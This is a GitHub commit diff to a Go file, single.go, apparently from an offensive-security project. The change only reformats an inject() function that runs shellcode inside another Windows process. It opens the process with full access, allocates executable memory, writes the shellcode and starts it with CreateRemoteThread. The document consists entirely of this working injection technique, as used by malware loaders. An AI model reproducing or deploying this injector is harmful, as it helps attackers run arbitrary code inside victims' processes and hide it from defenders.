Update single.go

This commit is contained in:
s1egesystems 2020-07-07 03:26:54 +00:00 committed by GitHub
parent e166723fe3
commit 289cb7ff28
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 20 additions and 4 deletions

View File

@ -65,10 +65,26 @@ func inject(shellcode []byte, pid uint32) {
closehandle := kernel32.MustFindProc("CloseHandle")
// inject & execute shellcode in target process' space
processHandle, _, _ := openproc.Call(PROCESS_ALL_ACCESS, 0, uintptr(pid))
remote_buf, _, _ := vallocex.Call(processHandle, 0, uintptr(len(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE)
writeprocmem.Call(processHandle, remote_buf, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
createremthread.Call(processHandle, 0, 0, remote_buf, 0, 0, 0)
processHandle, _, _ := openproc.Call(PROCESS_ALL_ACCESS,
0,
uintptr(pid))
remote_buf, _, _ := vallocex.Call(processHandle,
0,
uintptr(len(shellcode)),
MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
writeprocmem.Call(processHandle,
remote_buf,
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0)
createremthread.Call(processHandle,
0,
0,
remote_buf,
0,
0,
0)
closehandle.Call(processHandle)
}